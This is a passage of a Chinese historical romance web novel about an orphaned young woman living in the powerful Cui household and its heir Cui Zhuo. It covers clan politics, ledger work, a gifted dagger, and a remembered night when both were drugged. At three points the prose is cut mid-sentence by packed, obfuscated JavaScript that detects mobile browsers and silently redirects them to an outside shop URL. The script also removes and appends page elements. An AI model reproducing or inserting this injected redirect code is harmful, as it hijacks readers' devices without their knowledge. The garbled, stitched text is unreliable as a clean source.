“此时行动,岂不是不打自招?依我看,此事完全可以推脱给渝州节度使防护不利!明衡不是与御史台之人相熟?应当立刻请御史台上书,弹劾渝州节度使!” “三叔公此招祸水东引是好——” 另一年轻些的男子起身,看了眼一旁坐着的青衣中年男人,冷笑: “但我们的船这次被困怎就那般精准,若说没有内鬼,我都不信!要我说,应当先查奸细!” 被他看了一眼的灰衣男人啪地一拍桌子,起身骂道: “你看着我做什么?!此事非我负责,出了事于我也无益,难不成你还怀疑是我做的?!” “是不是,七叔公自己心里清楚!” “你……” “好了!都别吵了!” 另一中年男子过去拉架,主位下首的长老大喝“住手”,然而众人早就吵红了脸,根本不听劝阻。 不知是谁率先摔了茶盏,议事厅中瞬间沸腾了起来,争吵声叫嚣声吵成一片。 其中一个年轻人拉扯间一眼瞥见立在门口的崔琢,脸色瞬间一变,高声喝道: “世子来了!” 原本还挣得面红耳赤的众人神情一肃,皆迅速退至一旁规规矩矩低头站着,各个噤若寒蝉。 就连那几位年纪大的长老也不由站了起来,语气无不尴尬而拘谨: “明衡来了。” 崔琢视线扫过众人,略一颔首。 他身上换了一身月白色常服,衣衫纤尘不染,信步跨入厅中,衣摆的弧度沉稳容雅。 在一片狼藉和满屋华服怒容的长辈面前,平静得格格不入。 他并未走向主位,而是随意挑了个角落的位置坐下。 侍从立刻将一杯新茶恭敬奉上。 崔琢将账册轻放在案上,慢条斯理地端起茶杯,用杯盖拂去茶沫,浅啜一口。 “方才摔碎茶盏者,照价赔偿。” 他将茶杯放下,视线一一扫过方才叫嚣最凶的几人,语调不高: “率先寻衅滋事者,议事结束后按族规自去领罚,诸位可有疑议?” 被他扫过的人纷纷低下头去,没一个人敢露出一丝不服气的表情。 “坐吧。” 崔琢说完后,从长老开始,众人才依次落座。 “漕运之事,我已知晓。” 崔琢目光平静地扫过在场众人。 所有人的目光或期待、或怀疑、或忧虑,都聚焦在他身上。 “三件事。” 崔琢不紧不慢道: “第一,漕运缺口已由江南盐引补上,账目在此,至于困于漕河的三艘船改走支流,由我此前布下的私人漕工护送,三日内会如期抵京。” “第二,此次幕后之人乃扬州布商孟家,其于半月前攀上了工部侍郎。周侍郎贪墨河工款的证据,今早已由都察院陈御史呈递御前,此刻他怕是自身难保。” 闻言,众人肉眼可见地松了口气。 方才那与年轻男子争执的青衣中年男人上前,面露愤慨: “明衡既然来了,我便是要问上一句,咱们崔家几时这般没有规矩了?连一个小辈都敢质疑……” “七叔公,这第三件事是事关您的——” 崔琢的目光淡淡转向说话的男人: “您在城外经营的私矿,侵占了皇陵龙脉余脉,此事我已替你压下一次。从明日起,矿山交由公中打理,所得利润依旧分您三成,但您年事已高,今后族中议事,便不必辛苦了。” 话音一落,满堂死寂。 所有人的目光都不由看向七叔公——虽然崔琢没明说,但他的态度已表明了一切。 在场之人都不敢相信,七叔公真的有胆量勾结孟家,截断崔家的商船。 而那位被打断说话的崔家七老爷先是面色涨红,而后神情灰败地瘫坐回了椅子上。 他张了张煞白的唇,还想替自己狡辩,但对上崔琢的目光,又讪讪将话咽了回去。 崔琢神情不变,重新端起那杯微凉的茶,随即眉心轻蹙。 一旁的侍从面色一变,急忙过来换了杯热茶。 崔琢抿了口茶,看向众人: “如此,诸位可还有异议?” 明明挤满了人的议事厅此刻鸦雀无声。 崔琢起身,微微颔首: “若无他事,容晚辈告退。” 他在众人的目视中,如同来时那般,仪态从容地离开了议事厅。 族中几位长老面面相觑,又都不约而同将目光落在崔琢沉稳端方的背影上,不免心有余悸。 回到书房,崔琢提笔写下几人的名字。 “萧云——” 一扮做侍卫模样的男子推门而入,“主子。” “按此名单,请这几位大人今夜过府一叙。” 说罢,崔琢盯着那张信笺,手指在桌上敲了敲。 须臾,他的眸底划过一抹幽深,重新写了个名字交给萧云: “罢了,先将此人请入府中。” 萧云看了眼纸上的名字,神情一震: “郭……” 崔琢挥了挥手,向后一靠,疲惫地按揉眉心,“去请就是。” 另一边,李亭鸢的清宁苑中离得老远就能听到女子娇俏的笑声。 房间里熏着柔和的花香,床上榻上堆满了各色柔软的锦缎和纱料。 崔月瑶正拿着一匹花团锦簇的水红色料子,对着镜子在身上比了又比。 “沅姝……” 她拖长调子,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“原本我想着,今后哥哥成了亲,崔府一应大小事宜肯定就由嫂嫂做主了,不过瞧你于公中之事上这般有心,我倒是希望今后这府中能由你来操心中馈。” 李亭鸢写字的动作一顿,虽未抬头,但面颊上已隐有红晕。 崔月瑶瞧出她神色怪异,立刻察觉到自己说的话有歧义。 她忙摆手解释: “你、你别误会,我不是说让你嫁给哥哥的意思,你从前都未同我哥哥说过几句话,况且哥哥他也已心有所……” “姑娘,柳梦鸢柳姑娘来了。” 崔月瑶话未说完,门口的婢女轻敲了下门,禀告道。 同柳梦鸢一道来的,还有内宅的管事嬷嬷赵妈和两个丫鬟。 李亭鸢将众人让进房中。 赵妈指着身后两个丫鬟对李亭鸢道: “这两个是咱们府中的一等丫鬟,芸香和芸巧,姑娘房中如今没个人伺候,世子交代让两人来清宁苑伺候。” 听到“世子”两个字,李亭鸢的眼睫一颤,看向两人。 崔府家大业大,就连丫鬟也十分守礼。 这两人乍一看去,竟是比小门小户出来的姑娘家还要气质斐然,浑身上下写满了“规矩”二字。 她们的容止衬托得她更加上不得台面。 李亭鸢捻了捻袖子,强撑着笑意道了谢。 赵妈见任务完成便打算离开,崔月瑶唤住她,又看了李亭鸢一眼,抱歉一笑: “我忽然记起来今日的课业还未做完,我先回去了。” 李亭鸢没想到她会在这个节骨眼儿上弃她而去,偷偷掐了崔月瑶一把。 谁料崔月瑶像是没感觉到一般,笑着搭上她的手,不动声色暗暗用力,将李亭鸢的手从胳膊上扒了下来。 而后像是身后被狼撵着一样,头也不回地拉着赵妈就离开了。 “……” 李亭鸢嘴角轻抽,一回头,又和柳梦鸢面面相觑。 她尴尬地扯了扯唇角,试探道: “既然都走了,如今天色已晚,要不柳姑娘……” 柳梦鸢没等她说完,便上前来轻轻握住她的手。 柳梦鸢生得十分柔婉,笑起来唇瓣轻轻抿着,说话时嗓音也轻柔: “昨日在夫人那里见到姐姐,就觉一见如故,早就想来探望,谁知晌午时过来,竟发现姐姐出了府。” 李亭鸢见她没打算离开,又被她一口一个姐姐叫得不自在,只能扯了扯唇角配合道: “是我的不是,白日里去了一趟白马寺。” “原来姐姐也去了白马寺?” “也?”李亭鸢不解。 柳梦鸢轻轻捂嘴,似是才察觉出自己说错了话,往四周看了眼。 见芸香和芸巧两人并未注意这边,她才凑到李亭鸢身边轻声道: “姐姐莫要同旁人说,是世子今日也去了白马寺,只是他的行踪不喜让旁人知晓,我要替他保守秘密的。” 她说着,脸颊微红轻轻垂眸,神色中显出几分娇羞而令人忍不住遐想的暧昧。 8. 第 8 章 保守秘密…… 李亭鸢将这四个字默默咀嚼了一番,说不出自己心里是什么滋味。 她重新回头,这次认真地打量起身侧这个姑娘。 这就是崔琢喜欢的样子么? 温婉、孱弱,像一朵长在温室里风一吹都会被吹折了的小白花。 反观自己,经历了家道中落,父母双亡,独自肩负起弟弟的课业和前途,更像是路边的一朵野花。 柳梦鸢是被崔夫人强烈要求留下的贵客,崔府的座上宾,而自己,腆着脸寄人篱下、仰人鼻息,连那些来崔府打秋风的穷亲戚都不如。 李亭鸢眼睫轻轻低垂,遮掩住眼底的黯淡神色。 柳梦鸢见她不说话,从袖中掏出枚手帕递过来。 “初次见面,没什么好送给姐姐的,这枚帕子是我亲手所绣,送给姐姐全当搏姐姐一笑。” 李亭鸢现在对“帕子”两个字极为敏感,闻言倏地朝那帕子看过去,随即瞳孔猛地一紧。 在她递过来的帕子一角,清清楚楚绣了个“鸢”字。 柳梦鸢见她神色怔忡地抚着那个字,不由笑道: “要说我与姐姐的名字中同有一个‘鸢’字,这真是莫大的缘分呢,所以我便绣了这个字,还望姐姐不要嫌弃才好。” 李亭鸢心念一动,忽然有种强烈的感觉呼之欲出。 她张了张嘴,嗓音微微有些干哑: “柳姑娘的绣工了得,想必世子应当也十分欣赏姑娘绣的东西吧?” 柳梦鸢小声“呀”了一声,白皙的脸颊缓缓泛起红晕,娇羞道: “连姐姐也知道啦?还望姐姐替我保密。” 李亭鸢看着她的样子,一颗心渐渐沉了下去。 很奇怪,明明盼着崔琢不要记起三年前之事,明明回来的路上还因为那枚可能是自己遗落的帕子而忐忑不安。 如今得知那帕子当真是柳梦鸢所绣,不知为何,她的心里忽然又生出一丝空落落的酸楚来,在心里暗笑自己的自作多情。 李亭鸢抿了抿唇,颔首,声音轻得像随时都会消散: “放心吧,我会保密。” 后来柳梦鸢又同她聊了会儿,但具体说了什么,李亭鸢全然不记得了。 她只觉得自己胸腔里憋着一股劲儿。 柳梦鸢走后,李亭鸢给桌案上新添了两盏油灯。 暖黄色的灯火明晃晃的。 她轻轻摩挲了一下纸页,纸张的温润和桌案上的墨香带给她仅有的安全感,也渐渐驱散了她眼底的迷茫。 李亭鸢深吸一口气,重新扎进了眼前的账册里。 等李亭鸢再度揉着脖子从账册里抬头的时候,窗外已经隐隐有了一抹亮色。 她简单洗漱了一下上了床,睡了两三个时辰便又起来核对账册,便是用饭也是草草几口充饥了事。 如此用了三日时间,李亭鸢终于将那本账册核对清算清楚。 这日李亭鸢打听到崔琢晚膳前便已回了府,拿着账册匆匆赶去了松月居。 才到门口,崔吉安就笑着迎了上来。 有了上次在白马寺前的经历,只要看见崔吉安这般笑着迎上来,李亭鸢的眉心就猛猛抽跳,总觉得没什么好事。 不过好在这次崔吉安倒是没说什么,只说世子爷在书房会客,让她稍待。 李亭鸢道了谢,婉拒了崔吉安给她寻椅子的提议,径直走到书房一侧的回廊下安静等着。 如今是早春,早晚还有些凉意。 李亭鸢拢着披风,轻轻抽了抽鼻子,鼻尖立刻染上凉意,鼻腔里也沁满了潮湿的草木香。 她很喜欢这个季节,或者说,她喜欢凉爽的天气,最最受不了夏日的暑热。 所以这三年跟随父母去南方,其实她住得根本不好。 如今乍然回到熟悉的地方,此时此刻早春的凉意让她紧绷的心底稍稍生出一丝难得的放松来。 自己似乎……很久没有这样感受过这个季节了。 李亭鸢的唇角微微扬起,闭着眼睛又深深吸了一口沁凉的空气。 正在此时,那边书房的门响了起来。 李亭鸢睁眼循声望去。 从书房里走出一须发微白的老人,看气质像是身居高位的重臣,只是他此刻神情瞧起来却有些失魂落魄,走到台阶前时还踉跄了一下。 崔吉安眼疾手快地扶住他。 李亭鸢听他道了声: “郭大人,您当心!” 郭大人? 李亭鸢在心里默念了一遍这三个字,只觉得那老者有些眼熟,但又不记得自己在哪里见过,便暂时将思绪放了下来。 那郭大人走得匆忙,书房的门没关。 李亭鸢走过去的时候,恰好看到崔琢正靠着椅背,微微仰头阖目,残阳落在他冷白的皮肤上,像是镀了一层柔和的光。 她的脚步在门外定住,眼神不自觉瞟向崔琢的脖颈。 ——那处喉结上的牙印,因为崔琢仰头而越发暴露在她的视线中。 李亭鸢做贼心虚地瞧了一眼就迅速收回视线。 那夜柳梦鸢的那句话说明,崔琢并未记起三年前那夜是谁,换句话说,他应当也不知道这印子是谁留下的。 她眉眼低垂着,眼神聚焦于脚前的门槛,轻声道: “世子,我来交还账本。” 须臾,门内传来淡淡一声,“进”。 李亭鸢踟蹰着走进去站到桌前。 “那日世子让我整理的账目,如今已尽数整理妥当,还请世子过目。” 崔琢仍旧保持着方才进来前她看到的姿势。 在她说话的功夫,朝她伸出了手。 李亭鸢轻轻将账本放了上去。 同上次被他堵在书架前时一样,两人的手在账本上离得很近,近到她几乎能感受到他手指皮肤上的温度和极为微小的脉搏跳动。 崔琢掌心微微收拢,动作很慢,指节骨廓分明。 账本在他的手里被收拢、弯曲。 不知为何,他明明握住的是账本,但李亭鸢却恍惚觉得他是在缓缓握住了她的手。 她匆忙收回手,在他睁开眼睇过来的时候,不动声色地将手指藏进袖子里捻了捻。 崔琢端坐起身,修长的手指划过纸页。 他看得很快却很认真,眉目冷峻,不苟言笑。 随着一页一页翻书的声音,李亭鸢的心也渐渐跟着提了起来。 终于,他翻书的动作一顿,目光在某处微做停留,不过很快,他就将那一页翻了过去。 后面几页崔琢都是匆匆掠过。 合上账本,他没有立刻发表看法,而是抬眼看着她,不置一词,眼底的神色不免让李亭鸢感到忐忑。 良久,他才终于开了口,却问出了一个李亭鸢始料未及的问题。 “那日柳梦鸢去找你了?” 李亭鸢脑中有一瞬间的空白,愣了几息才反应过来,点了点头。 实在不怪她忘性大,只是这几日她算账本算得黑天暗低,脑中只有账本之事,猝不及防被问起,当真有些转不过弯来。 许是她的反应太过娇憨,崔琢紧绷的唇角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153397|196470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有了一丝微不可察的弧度。 他放下账本,“说说吧,想要什么条件?” 说起条件,李亭鸢立刻就反应了过来。 她毫不躲避地目视着崔琢的眼睛: “素闻薛清鸿薛大儒德高望重、学富五车,我弟弟李怀山亦仰慕他许久。” “想让我牵线搭桥?” “是。” 她的直白不由让崔琢轻笑出声,“此事好办,然后呢?” “然后?” 李亭鸢一头雾水,什么然后? 她愣神的功夫,崔琢已经起身绕过了桌案。 他离她有一定的距离,恪守着男女之间的关系,然而尽管如此,李亭鸢还是觉得莫名的压迫。 崔琢在她侧后方的位置站定。 李亭鸢张了张嘴还不等开口,腰上忽然不知被一个什么冰凉而坚硬的东西紧紧抵住。 她的身子一僵,头皮都跟着窜上了麻意。 那冰凉的东西被他掌在手中,顺着她的脊柱缓慢上移,一寸一寸,丈量般划过她的皮肉和脊骨,带着丝丝失控的冷意,最后停在她脖颈下方的位置上。 “既然敢直视着我的眼睛谈条件——” 男人的声音平稳,向下睨过来的眼神也平静如渊,就好像不是他在用东西抵着她一样。 他手底下用了力,李亭鸢被那股冰凉顶着不得已挺直了脊背。 “既然敢直视着我的眼睛谈条件,就应该挺直脊背,更加理直气壮一些。” 他收了手,凉意撤离,李亭鸢却觉得寒意顺着脊柱久久不曾散去。 “就像你那日在白马寺外那般理直气壮。” 崔琢语气冷清,重新绕回到她的面前,摊开掌心。 在他的手心里,赫然躺着一把精巧的镶嵌红玛瑙的匕首。 “——刀柄上刻了我的私印,下次再遇上郭樊那种人,直接杀。” 李亭鸢这才知道,方才抵在自己背后的,就是这把制作精良的匕首。 而操纵这把匕首在她腰背之间一寸寸游移的,则是攥着匕首的那只遒劲得仿佛能掌控一切的手。 李亭鸢的心像是被那柄未出鞘的匕首钝钝地划了一下。 她紧了紧掌心,发出的声音都因喉咙的紧绷有些泛哑: “世子所赠,实在太过贵重,亭鸢愧不敢受。” “愧不敢受?” 李亭鸢的话被崔琢重复着。 从她嘴里吐出的四个字紧接着便在他的唇齿间过了一遍,原本的一本正经都变得有些不那么正经。 李亭鸢的掌心攥得更紧。 崔琢半压着眼帘睨着她,许久唇角缓缓扯出一抹冷笑: “不是要离开崔府么?下次再遇到郭樊此种人,若没有崔府在背后撑腰,你待如何?” 李亭鸢蓦地瞪大眼睛,难以置信地抬头看他。 他何时……何时知道自己要离开? 崔琢冷笑一声: “我为李怀山牵了线搭了桥,你便离开崔府,这不就是你一早的打算么?” 李亭鸢瞧了眼他走回书案后的背影,垂眸沉默下来。 崔琢掀起眼帘淡淡扫了她一眼,拿起账册重新翻了两下。 “第五页第七行,‘药材’类支出归类模糊,第十二页总进项,进一位有误。此类问题一是你没有深入了解整个庄子的运作情况,仅凭臆断而为,是为只知其一不知其二,第二则是不够细心。” 他将账本连同匕首一起放在了她眼前的桌案上,冷冷睨着她,吐出两个字: “重算。” 9. 第 9 章 轻飘飘的两个字,却如千钧砸下。 一股委屈和愤怒涌上李亭鸢心头。 自己熬了三日三夜,所换来的不过是他“重算”两个字。 而自己所求的,他口中的“容易”之事,却被他拿来当做筹码一般……刁难她。 她甚至觉得,他有可能不是刁难,而是刻意的愚弄。 李亭鸢倏然抬头瞪着他,眼底不受控制涌上来的泪令她眼中他的神情模糊不清。 但她料定他一定是面无表情的,或者是傲慢冷清的。 她咬了咬牙,“世……” “倘若连这点委屈都受不得,你以为离了崔府,你能做什么?” 李亭鸢的声音卡在喉咙里,瞪着他的不忿慢慢变成了惊愕。 不知过了多久,她忽然反应过来他话中的意思,一股滚烫的赧意悄无声息地爬上了脸颊。 思绪如浪翻涌。 是啊,他不过是让自己重算账目。 而她与他所约定的,确实是“算得不出差错”,他答应她一件事。 如今是她自己的失误所致,她又凭何如此不忿? 冷静下来的李亭鸢面上的滚烫渐渐退了下去。 她感觉到他一直在盯着她看。 她走上前将他放在桌上的账册和账册上的匕首一起拿起,敛眸,郑重道: “多谢世子今日赐教,匕首既是世子所赠,亭鸢却之不恭,至于这本账册,两日后重新奉上,倘若再有失误,今后我再不提让世子为我弟弟牵线搭桥一事。” 崔琢已经拿起桌案上的文书在看,闻言漫不经心地掀起眼帘扫了她一眼,手底下翻了一页。 “去吧。” - 李亭鸢回到清宁苑的时候,就看到崔月瑶在门口等她。 她哼了声,抱着账本绕过她就往回走。 崔月瑶紧跟两步,拉着她的衣角,默不作声地跟着她。 快要进屋的时候,李亭鸢突然停下脚步,一把拍开她的手,“我要回房间了,你还跟着做什么?今儿天色这么早,崔大小姐的课业就做完了?” 崔月瑶一听她这么说,一下就扑了过去,一把抱住她的腰,撒娇道: “哎呀好姐姐,我错了还不行吗?!我那天不该丢下你一个人跑了,我只是……只是……” 崔月瑶扭着屁股在她怀里蹭了蹭,“我就是觉得跟她说话有种奇怪的感觉,不喜欢她……” 李亭鸢被她蹭到了腰上的痒痒肉,故意绷起的唇角上扬,没忍住笑出了声: “崔月瑶!你就不能不碰我的腰!” 听见她笑,崔月瑶长舒一口气,可怜兮兮将手背伸到她面前: “瞧瞧,我这么白嫩白嫩的,你怎么下得去手,都拍红了。” 李亭鸢抿着唇忍俊不禁,对她勾了勾手指头。 崔月瑶满眼好奇地凑过去,就听李亭鸢在她耳畔轻笑: “那快进来让我瞧瞧,有多白嫩。” 崔月瑶哇了一声,又故意去挠她: “好哇李亭鸢!没看出来你竟是个黄心的!” 两个人笑闹着进了屋,崔月瑶坐在一旁剥了颗橙子。 甜爽的清香刹那间在房间里爆开。 崔月瑶往盘子里放了半颗剥好的,另外剥下来一瓣塞进嘴里,瞅着李亭鸢在书案前又是研磨又是铺纸的样子,口齿不清道: “你最近几日怎么了?上次就见你一直在算账。” 李亭鸢瞪了她一眼,“你以为谁都跟你崔大小姐一样每日就逛逛街听听小曲儿,一辈子不愁吃穿的。” 崔月瑶一听,把手中的橙子往口中一扔,啧道: “你现在还不是一样,以后在崔府,难道还能短了你的吃穿不成?” 李亭鸢蘸墨的手一顿。 见她没说话,崔月瑶拍拍手,接过芸香递来的湿帕子一边擦手一边问: “对了,明日我约了蒋徐安去踏青,你去么?” 李亭鸢闻言抬头,“你还与他联系呢?” 蒋徐安是槐州当年乡试的亚元,临近会试进京途中遭遇了匪贼的劫掠,匪贼抢走了他的所有行李,将奄奄一息的蒋徐安丢在了路边。 恰巧那日崔月瑶从外祖家回京,就偷偷救下了他。 后来两人相处之下,日久生情。 那蒋徐安断了一条腿,身有残疾,自知科考无望,干脆便在京城外同安县的清晖书院当起了教书先生。 当初崔月瑶没少拿李亭鸢当幌子,偷着去见蒋徐安。 李亭鸢也跟着见过那个蒋徐安几次,但不知为何,她总对那人生不起好感。 李亭鸢曾私下里劝过崔月瑶同那人断了往来,毕竟门不当户不对,崔家定是不会同意这门亲事,就连蒋徐安自己也曾说过配不上她要断了这段关系。 但崔月瑶不知为何就像是被人下了迷魂汤一般,死活不愿意。 崔月瑶搬了椅子来帮李亭鸢研磨,语气低落: “我打算……打算再好好与他相处一段时间,就同他彻底断了。” 李亭鸢握住她的手: “我知你与他这么多年的感情,若是断了必定如剖心挖肝般,倘若你真舍不得……不如叫世子去帮你掌掌眼。” “我哥见过他了。” 李亭鸢一顿,“世子怎么说?” 崔月瑶眼眸轻垂,睫毛上很快染了一层水色: “我哥同你说的一样,‘此人绝非良善之辈’,让我长痛不如短痛,趁早断了,可我……可我就是觉得徐安他人很好啊……” 说到最后,崔月瑶的声音里都带了哭腔。 李亭鸢心疼得一把抱住她,“明日你去见他,我陪你一起去。” 崔月瑶在她怀里点了点头。 过了许久,她平静下来,接过李亭鸢递来的帕子擦了擦眼角,问道: “对了,那晚我走后,你都同柳梦鸢聊了什么啊?你才刚进府,她就来了,她还真是把自己当这府中的女主人了。” 李亭鸢拿起笔蘸了墨,“没说什么,随便聊了两句。” “也是,你俩又不认识,能说什么?”崔月瑶点头。 李亭鸢有些心烦意乱,盯着账册看了好久也没算出一个数。 她干脆把笔一搁,看着崔月瑶,“你能给我讲讲她么?” “她呀,有什么好讲的,也不知何时就悄悄搭上了我哥,要不是我娘那日无意间发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153398|196470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我哥房里的那枚帕子,哥哥才承认是柳梦鸢,我们这些人都还蒙在鼓里呢。” 崔琢亲口承认的? 他将柳梦鸢视若珍宝,藏得如此之深,都不肯让自己的母亲知晓一二。 李亭鸢忽然想到方才在书房,崔琢猝不及防问的那句话。 他问她,柳梦鸢是不是去找她了。 难不成他是觉得她会难为她?还是觉得柳梦鸢那样娇娇弱弱的姑娘在她这里会吃亏? 李亭鸢的唇轻轻抿了起来,“那看来崔府好事将近了。” 崔月瑶奇怪地看了她一眼,总觉得她这话语气不对。 不过还不待她多想,丫鬟进来禀告,说是夫人找她过去。 崔月瑶同李亭鸢道了别,李亭鸢盯着眼前洒在桌案上的阳光看了会儿,重新拿起账本,一字一句仔细看过去。 初春乍暖还寒,夜里的时候下起了小雨。 淅淅沥沥的雨声拍打着屋顶黛瓦,雨珠顺着房檐滚落。 李亭鸢坐在窗下的软榻上,将窗子推开。 潮湿的冷风夹杂着丝丝细雨扑面而来。 她深吸了一口清冷的空气,目光落在远处抽着嫩芽的树枝上,思绪不自觉回到了三年前那场盛夏的宴会上。 那日是静姝公主举办的赏荷宴。 说是赏荷宴,实则明眼人都看得出来,是崔琢南下半年刚回京公主借机为他举办的接风宴。 毕竟全京城无人不知静姝公主对崔琢的爱慕。 李亭鸢本没资格参加这样的宴会,只是恰好在那一日她去了崔府,崔月瑶便邀她一起前去赴宴。 李亭鸢想起崔琢,呼之欲出的拒绝被咽了下去,终是无法拒绝心底见他一眼的渴望,在崔月瑶期待的眼神中点了点头。 那是她第一次参加如此盛大的宴会,不免拘谨又兴奋。 她同崔月瑶分享着一道点心,忽然席间安静了下来。 她一抬头,便看到了那个姗姗来迟的男人。 崔琢被一群人簇拥着不紧不慢地穿过月洞门,他一身月白色锦袍,霜襟雪骨,清冷如谪仙。 他许是看到了崔月瑶,越过一群人径直朝她二人走来。 李亭鸢原本以为半年不见,自己心底那份不为人知的悸动早已消散。 然而再次看到他,看到他在在场所有人的目光中一点一点朝她走来,心跳还是不可抑制地快了起来。 尽管他只是淡淡看了她一眼,便同自己妹妹说起了话。 李亭鸢在一旁垂着眸,手心都沁出了薄汗,耳畔除了自己激烈的心跳声,便只剩下了崔琢如玉石般的说话声。 后来宴至三巡,崔琢便离了席。 李亭鸢被崔月瑶带着多饮了两杯酒,有些不胜酒力去偏房休息。 然而她才刚一进去便察觉到了不对。 ——那屋中的气味太过浓烈,而内室的床边,似乎靠坐着一个男人。 李亭鸢吓了一跳,才要离开,忽然定睛一看,小心翼翼试探道: “世子?” 里面男人的呼吸很重,李亭鸢站在门口的位置挣扎了很久,才让自己一点一点靠近过去。 当她刚一绕过屏风,便不由地怔住了。 10. 第 10 章 她从未见过这样的崔琢。 他半靠在床边,闭着眼,眉心轻蹙,双手死死攥着椅背,手背青筋暴起。 身上略有些凌乱的衣衫半敞着,起伏不定的胸膛上挂着薄薄一层汗,整个人看起来似乎极为痛苦的克制着什么。 李亭鸢不知是自己饮了酒的缘故,还是屋中这香气逼人。 她在看到崔琢这幅模样的时候,自己身上也不由涌起一阵燥热。 她重重吞咽了一下,小心翼翼凑到他身边,“世……呀!” 她还没来得及将话说完,手腕忽然被他牢牢攥住,男人如鹰一般尖锐的视线直直朝她看过来。 李亭鸢心脏猛地一紧,慌乱之下转身便想逃离。 然而还不待她动作,她整个人便被他一把拉到了身前。 “是你下的药?嗯?” 崔琢的嗓音沙哑得不像话,他捏着她的下巴迫她直视他。 李亭鸢这才发现,他的眼睛赤红,眼神更是幽黯如渊,而箍着自己的那只手滚烫得吓人。 饶是李亭鸢再不知事,也明白过来是怎么一回事。 她强忍住慌乱,轻声道: “世子,你认错人了,我、我先带你出去……” 这屋中的香有问题,李亭鸢此刻也感觉到了自己身体的变化。 她掐了掐掌心让自己保持清醒,托着崔琢想将他扶起来。 可男女力量本就悬殊不说,李亭鸢双腿也因为药效开始发软,扶了几次都没能将人扶起来。 她心中焦急,说话也带了哭腔: “世子、世子您先在此处等等,我……我去叫人来……” 谁料她刚一起身,便被崔琢一把拽住。 李亭鸢只觉得一阵天旋地转,整个人被他紧紧压在了床上。 他的呼吸越发滚烫而急促,额角的青筋不断鼓跳,头上冷汗涔涔,眼神如渊似火地盯着她,透着不加掩饰的渴欲。 他似乎已经忍到了极致,浑身肌肉紧绷到微微颤抖。 两人的身躯贴得很近,李亭鸢不由屏住呼吸,胸膛也随着他的起伏而起伏。 屋中的香气更为浓烈,如同屋外喧闹的人声和丝竹声一般搅得人心烦意乱。 偶尔有女子轻笑着结伴从一旁的窗下走过,声音近得如同在耳畔。 不断升温的床帐内,两人的喘息交缠在一起。 李亭鸢的视线移到崔琢艳红得唇上,忽然生出了几许想要吻上去的冲动。 不知过了多久,崔琢眼中的挣扎与欲念褪去了些。 他踉跄着撑着自己起身,居高临下盯着她,喉结滚动,哑声道: “不论你是谁派来的,现在立刻滚,否则我杀了你!” 说罢,他扶着额,身形不稳地晃了晃。 就在他即将转身离开之际,李亭鸢也不知从哪儿生出的勇气,忽然起身一把抱住了他的腰。 少女红润的唇瓣轻轻翕动,双眼水雾迷离,近乎娇吟般唤他: “世子……崔琢……” 崔琢在原地站定,身形克制得近乎紧绷。 须臾,他忽然提了口气,猛地转身将李亭鸢一把推倒在床上,身躯覆了上来。 他撑在她身侧,神色不明地定定看了她几息,俯身狠狠嗪住了她的唇瓣。 后来的一切,就像是被火星点燃的干柴,再也不受控制。 帐中昏黄的烛火映出男人身上的一层薄汗,肩峰如山岳耸动,冷白色脖颈上青筋起伏。 崔琢极尽克制又疯狂失控。 李亭鸢死死掐住他的手臂,混沌的意识里,心底最深处,隐秘的愉悦与未知的恐惧与无助相伴相生。 …… 冷风吹进来,房间里的灯火熄灭了两盏。 李亭鸢猛地回神,这才发现自己身上早已被冰凉的雨丝浸透。 她抚着剧烈跳动的胸口深吸一口气。 第二日清晨,她看着身边沉睡的崔琢和满地狼藉,终于还是选择了逃避。 李亭鸢微微敛眸,扯了扯唇。 ——即便已经过去了三年,那夜的悸动她至今仍然记忆犹新。 那些燥热濡湿的记忆和亵渎崔琢的愧意,日日夜夜侵蚀着她,尽管他根本不知道那晚之人是谁。 - 第二日李亭鸢心里记挂着要陪崔月瑶去见蒋徐安的事,于是早早便起了床。 崔琢给她派来的两个丫鬟十分有眼力见,知道她喜静,平时总是留给她独处的空间,却又恰恰在她有需要的时候就会出现。 李亭鸢才刚起身下床,芸香便端着一盆温热的水进了屋。 李亭鸢有些不好意思,对她轻声道了谢,这才由她伺候着自己洗漱更衣。 “对了,今日春棠苑来消息了么?” “还未,”芸香答道,“许是三姑娘她还未起身。” 李亭鸢没说话。 她可不认为要见蒋徐安这么大的事崔月瑶能没起身,定是又在房中纠结不定要穿那身衣裳吧。 她刚打算自己收拾完便去春棠苑找崔月瑶,忽听芸巧在门外敲了敲门,低声道: “姑娘,有位年轻的公子在侧门外等您,说是……您的弟弟。” 怀山? 李亭鸢闻言神情倏地一紧,匆匆穿好外裳,一面系着扣子一面疾步往外走去。 “他来了?怎的不进来?有说是什么事么?” 这个时间怀山不是应该在书院,怎的突然来找她了? 李亭鸢心中焦急,脚步也跟着快了不少,不多时便来到了崔府侧门口。 门外的少年松姿鹤骨。 这两年李怀山因为迅速长高,较崔琢这种成年男子的体魄比起来显得瘦削不少,不过也因此越发有几分少年郎的张扬姿态。 见到李亭鸢出来,少年眉眼间都晕开了笑意,小跑两步上前,笑道: “阿姐!” 李亭鸢见他好端端地站在自己面前,一颗心才放了下来。 细细打量了他一番,眼底不禁染上了发自内心的笑意,轻抿着唇戳了李怀山一下: “多大了,还毛手毛脚。” 